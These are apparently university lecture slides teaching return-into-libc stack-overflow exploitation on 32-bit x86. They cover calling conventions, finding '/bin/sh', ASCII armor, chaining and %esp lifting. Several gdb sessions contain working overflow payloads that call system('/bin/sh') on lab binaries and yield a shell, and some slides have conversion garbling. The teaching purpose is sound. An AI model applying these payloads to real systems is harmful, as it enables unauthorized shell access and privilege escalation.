Return into libc
TOOR - Computer Security

Hallgrímur H. Gunnarsson

Reykjavík University

2012-05-02
Introduction

Stack overflows became popular following the release of aleph1’s paper in 1996 ("Smashing the stack for fun and profit")

The classic stack overflow attack injects code on the stack and overwrites the return address with the address of the code on the stack.

The non-executable stack was introduced as a defensive measure after stack overflows became popular.

Return-into-libc was introduced as a new exploitation technique to overcome the non-executable stack.

In general, the focus has shifted towards code re-use attacks.
Overview - What we will cover today

Code re-use techniques:
- Return into libc
- Return oriented programming (on friday)

Today we will look at return into libc:
- Classic return into libc
- Chaining return into libc calls
- %esp lifting
Let's review the C calling convention.

Before making a call, the caller pushes the arguments on the stack.

It then executes a call instruction, passing control over to the called function.

What does the call stack look like right after the call instruction?

%ebp contains the beginning of the old stack frame
Return into libc

The prologue usually sets up %ebp (and pushes the old one).

After the prologue the call stack looks like this:

%ebp remains constant throughout the function, and we can reference the passed arguments via:

- arg1: 8(%ebp)
- arg2: 12(%ebp)
- arg3: 16(%ebp)
- and so on
Return into libc

Before epilogue:

```
leave
# movl %ebp,%esp; esp = ebp;
# popl %ebp; ebp = *esp; esp += 4;
```

Now %ebp contains the old EBP value (from the stack)

Call stack right before ret:
Return into libc

What happens if the overwrite the return address with the code address of an existing function?

The prologue sets up %ebp based on the current %esp

```c
push   %ebp
mov    %esp,%ebp
```

Then it expects its arguments to be:

- arg1: 8(%ebp)
- arg2: 12(%ebp)
- arg3: 16(%ebp)
- and so on
Return into libc

The C library is memory mapped into each process and contains many interesting functions, e.g. system, execve, execl, etc.

One approach:
- Find an interesting function in the C library
- Prepare arguments on the stack
- Overwrite return address with the address of a libc function

Assumption: libc is mapped at a known fixed address in memory

Let’s look at system(). It takes a single parameter, a pointer to a string, and executes it as a shell command

Example: system("/bin/sh")
Prepare the stack

Right before `ret`, we want our stack to look like this:

```
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th>old eip</th>
<th>arg1</th>
<th>arg2</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td>0(%esp)</td>
<td>4(%esp)</td>
<td>8(%esp)</td>
</tr>
</tbody>
</table>
| &system | AAAA | pointer to "/bin/sh"
```

Why do we put `AAAA` there in between?
We jumped into `system()` via `ret` – not `call`

call pushes the return address (%eip + 1) onto the stack

`ret` does not push the EIP. So we need to adjust for that.

As a result, when we enter `system()` and finish the prologue, the stack looks like this:

Next problem: how can we locate a "/bin/sh" string?
Prepare the stack

Problem: how can we get an address to a "/bin/sh" string?

Few approaches:
- Place it in a buffer on the stack and guess the address
- Locate "/bin/sh" at a fixed memory address
- Re-use a pointer from the stack (depends on the program)
Prepare the stack

Problem: how can we locate a "/bin/sh" string?

First approach:
- Place it in a buffer on the stack and guess the address

Assumptions:
- Non-randomized stack
- Requires control over a buffer on the stack
- (We can place it in ENV if we have local access.)
- Must guess the address exactly (or do we?)
$ export EXEC=$(perl -e 'print "/" x 1024 . "/bin/sh"')
$ gdb ./overflow2
...
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eb7790 <system>
(gdb) p/x getenv("EXEC")
$3 = 0xbfffff605
(gdb) run $(perl -e 'print "A" x 1575')
  $(perl -e 'print
    "\xff\xff\xff\xbf" # old ebp
    . "\x90\x77\xeb\xb7" # retaddr, system()
    . "BBBB" # new retaddr
    . "\x05\xf6\xff\xbf"') # ptr to "/bin/sh"
Starting program: ...  
U WRITTES 1610 BAITES

sh-3.2$
Prepare the stack

Problem: how can we locate a "/bin/sh" string?

Second approach:
- Locate "/bin/sh" at a fixed memory address

Our assumption is that libc is mapped at a known fixed address

Why not look for "/bin/sh" in libc?

$ ./findshell  # look for "/bin/sh" in libc
found shell at 0xb7fb8593
$ gdb ./overflow2
...
(gdb) x/s 0xb7fb8593
0xb7fb8593:  "/bin/sh"
(gdb)
Assumption: libc is mapped at a given fixed address

Within libc we have:

- `system()` at fixed address 0xb7eb7790
- "'/bin/sh" at fixed address 0xb7fb8593

```
(gdb) run $(perl -e 'print "A" x 1575')
  $(perl -e 'print \\
    "\xff\xff\xff\xbf"  # old ebp
    . "\x90\x77\xeb\xb7"  # retaddr, system()
    . "BBBB"            # new retaddr
    . "\x93\x85\xfb\xb7"')"  # "/bin/sh" in libc
Starting program: ...
U WRITES 1610 BAITES
sh-3.2$
```
Problem: how can we locate a "/bin/sh" string?

Third approach:

- Re-use a pointer from the stack (depends on the program)

Let’s take an example – overflow2 from shell-lab.

We had an overflow in the following function:

```c
void lolcat(char *arg, char *meow)
```

Let’s look at the stack right before ret in lolcat():

```
old eip  arg  meow
4(%esp) 8(%esp)
```

Any ideas?
Problem: how can we locate a "/bin/sh" string?

Third approach:
- Re-use a pointer from the stack (depends on the program)

Let’s only overwrite the return address, no more.

Call stack right before `ret` from `lolcat`:
Call stack right before `ret from lolcat`:

```
old eip   arg   meow
0(%esp)   4(%esp)  8(%esp)
&system
```

```
(gdb) run $(perl -e 'print "A" x 1567')
  "$(perl -e 'print
    "/bin/sh; "    # put "/bin/sh" in meow
   . \\x90\\x77\\xeb\\xb7"')"  # retaddr, system()

Starting program: ...
U WRAITES 1602 BAITES
sh-3.2$
```
ASCII armor

Remember: `strcpy()` stops copying when it encounters `\0`

One defensive mechanism against return-to-libc is to include a null-byte in all libc addresses (so called ”ASCII armor”)

On skel, all libc addresses start with a null-byte:

```
(gdb) p system
$1 = {<text variable>} 0x0076b5b0 <system>
```

What can we do now?

```
old eip       arg       meow
4(%esp)
8(%esp)
&system
```
(gdb) p system
$1 = {<text variable>} 0x0076b5b0 <system>

On little-endian (x86) systems the address will be stored as:

b0 b5 76 00

[hhg@skel overflow]$ ./attackme2 `perl -e 'print "A" x 1587`
"`perl -e 'print "/bin/sh;"
   ./xb0\xb5\x76''``

U WRAITES 1617 BAITES
sh-4.1$
Chaining

We might need to make more than one call to exploit the program.

Example: `setuid(0); system("/bin/sh");`

How can we chain calls into libc?

Because both `setuid()` and `system()` expect just one argument we could chain them like this:

<table>
<thead>
<tr>
<th>0(%esp)</th>
<th>4(%esp)</th>
<th>8(%esp)</th>
<th>12(%esp)</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>&amp;setuid</td>
<td>&amp;system</td>
<td>setuid arg</td>
</tr>
</tbody>
</table>
A more general method is to use `%esp` lifting.

We locate instructions in the code that manipulates the stack and returns, e.g.

```
pop %ebx
pop %ebp
ret
```

Then we arrange the stack as follows:

<table>
<thead>
<tr>
<th>0(%esp)</th>
<th>4(%esp)</th>
<th>8(%esp)</th>
<th>12(%esp)</th>
<th>16(%esp)</th>
<th>20(%esp)</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>&amp;setuid</td>
<td>retaddr</td>
<td>0</td>
<td>&amp;system</td>
<td>&amp;exit</td>
</tr>
</tbody>
</table>

What sequence of instructions would we want to execute when we jump to `retaddr1` and `retaddr2`?
Questions?